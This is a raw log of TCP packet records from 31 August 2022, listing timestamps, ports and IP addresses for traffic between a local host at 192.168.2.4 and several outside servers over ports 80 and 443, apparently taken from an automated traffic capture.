Aug 31, 2022 14:29:09.838056087 CEST	443	49767	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:09.838215113 CEST	443	49767	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:09.839793921 CEST	49767	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:09.839905024 CEST	49767	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:09.843723059 CEST	49767	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:09.843743086 CEST	443	49767	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:09.843792915 CEST	49767	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:09.843801022 CEST	443	49767	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.056730032 CEST	49762	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:10.056775093 CEST	49762	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:10.061750889 CEST	80	49761	210.92.250.133	192.168.2.4
Aug 31, 2022 14:29:10.166332960 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:10.197184086 CEST	49769	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:10.197221994 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.197338104 CEST	49769	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:10.199009895 CEST	80	49762	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:10.199028969 CEST	80	49762	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:10.241525888 CEST	49769	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:10.241559982 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.249263048 CEST	80	49762	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:10.316833019 CEST	49762	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:10.321892977 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.322001934 CEST	49769	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:10.323679924 CEST	49769	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:10.323703051 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.324100018 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.325788021 CEST	49769	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:10.371395111 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.408464909 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.408637047 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.408755064 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.408896923 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.409132957 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.420839071 CEST	49769	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:10.434725046 CEST	49769	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:10.434763908 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.434783936 CEST	49769	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:10.434794903 CEST	443	49769	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:10.442871094 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:10.445373058 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:10.445575953 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:10.445646048 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:10.513005972 CEST	49770	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.513058901 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.519125938 CEST	49770	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.533663034 CEST	49770	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.533696890 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.580959082 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.584353924 CEST	49770	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.586482048 CEST	49770	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.586514950 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.587416887 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.589925051 CEST	49770	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.618956089 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.619036913 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.619107962 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.619164944 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.621280909 CEST	49770	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.621309996 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.633238077 CEST	49770	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.633301973 CEST	49770	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.633549929 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.633577108 CEST	443	49770	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.634181976 CEST	49770	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.635377884 CEST	49770	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.723084927 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:10.773991108 CEST	49771	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.774044991 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.774158001 CEST	49771	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.774672031 CEST	49771	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.774686098 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.815291882 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.823559046 CEST	49771	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.831594944 CEST	49771	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.831660032 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.832006931 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.854376078 CEST	49771	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.877479076 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.877553940 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.877671003 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.877753973 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.877860069 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.878887892 CEST	49771	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.879864931 CEST	49771	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.879899025 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:10.879930973 CEST	49771	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:10.879945993 CEST	443	49771	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:11.547465086 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:11.547494888 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:11.547513962 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:11.547537088 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:11.556704044 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:11.836154938 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:11.836191893 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:11.836214066 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:11.836448908 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:11.836860895 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:11.836985111 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:11.838701963 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:11.838732004 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:11.838757038 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:11.840636015 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.114628077 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.114665985 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.114694118 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.115149021 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.115180969 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.115206003 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.115717888 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.115750074 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.117885113 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.120621920 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.120654106 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.122001886 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.122033119 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.122056007 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.122312069 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.122945070 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.397128105 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.397171021 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.399265051 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.399312973 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.399367094 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.399418116 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.400578022 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.400610924 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.402312994 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.402348042 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.402373075 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.404254913 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.404617071 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.415416002 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.415680885 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.418335915 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.418363094 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.418385983 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.420229912 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.420268059 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.420289993 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.420613050 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.420640945 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.424849987 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.437737942 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.643474102 CEST	49772	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:12.643533945 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.647077084 CEST	49772	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:12.649673939 CEST	49772	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:12.649703979 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.683223963 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.683283091 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.683335066 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.684607029 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.684664965 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.684716940 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.684767008 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.685317993 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.685374022 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.685508966 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.688029051 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.704406977 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.705701113 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.705759048 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.705809116 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.705859900 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.706990957 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.707045078 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.707093954 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.707321882 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.707436085 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.708287001 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.708370924 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.708422899 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.708472967 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.715773106 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.715828896 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.715887070 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.717744112 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.717802048 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.717853069 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.717921019 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.718302965 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.718358994 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.718413115 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.718462944 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.718513012 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.719525099 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.719800949 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.725321054 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.731611013 CEST	49772	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:12.738485098 CEST	49772	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:12.738504887 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.738930941 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.751600027 CEST	49772	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:12.795371056 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.795829058 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.795938969 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.795996904 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.796053886 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.796147108 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.799148083 CEST	49772	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:12.800112009 CEST	49772	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:12.806277037 CEST	49772	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:12.806318998 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.806337118 CEST	49772	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:12.806354046 CEST	443	49772	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:12.892452955 CEST	49773	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:12.892540932 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.898591042 CEST	49773	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:12.899878979 CEST	49773	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:12.899921894 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.944591999 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.946913958 CEST	49773	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:12.951863050 CEST	49773	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:12.951880932 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.952157974 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.954643011 CEST	49773	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:12.965118885 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.965178013 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.965229988 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.965281010 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.966401100 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.966454983 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.966507912 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.970496893 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.970554113 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.970606089 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.970921040 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.970974922 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.971975088 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.973649025 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.973936081 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.980818987 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.980943918 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.981060028 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.981234074 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.981359959 CEST	49773	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:12.981408119 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.981432915 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.981661081 CEST	49773	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:12.982800961 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.982862949 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.985234022 CEST	49773	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:12.985281944 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.985300064 CEST	49773	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:12.985316992 CEST	443	49773	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:12.986681938 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:12.995584965 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.995640993 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.996515989 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.996571064 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.996622086 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.997370005 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.997426987 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.997478962 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.997725010 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.998215914 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:12.998272896 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:13.002387047 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.002444983 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.002496958 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.003392935 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.003449917 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.003784895 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.003837109 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.003905058 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.004244089 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:13.005105019 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.005160093 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.007503033 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:13.008841038 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.008897066 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:13.008929968 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.008990049 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.009042025 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.009094000 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.009854078 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:13.012022018 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.012078047 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.012134075 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.012383938 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.015232086 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.015301943 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.015382051 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.015635967 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.016010046 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:13.016067028 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:13.132934093 CEST	49774	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.132980108 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.133367062 CEST	49774	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.133930922 CEST	49774	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.133959055 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.182881117 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.192964077 CEST	49774	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.196319103 CEST	49774	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.196355104 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.196748018 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.200797081 CEST	49774	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.232820988 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.232888937 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.232959986 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.233040094 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.233211040 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.240951061 CEST	49774	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.241070986 CEST	49774	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.242470026 CEST	49774	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.242511034 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.242532015 CEST	49774	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.242546082 CEST	443	49774	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.251969099 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.252002001 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.252024889 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.252047062 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.254185915 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.254213095 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.255058050 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.255086899 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.257411957 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.257447958 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.257498980 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.258074045 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.258094072 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.263115883 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:13.278815031 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:13.282555103 CEST	49768	80	192.168.2.4	24.232.210.245
Aug 31, 2022 14:29:13.441135883 CEST	49775	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:13.441207886 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.443154097 CEST	49775	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:13.443900108 CEST	49775	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:13.443938017 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.516799927 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.529767036 CEST	49775	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:13.542643070 CEST	49775	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:13.542664051 CEST	443	49775	172.67.188.70	192.168.2.4
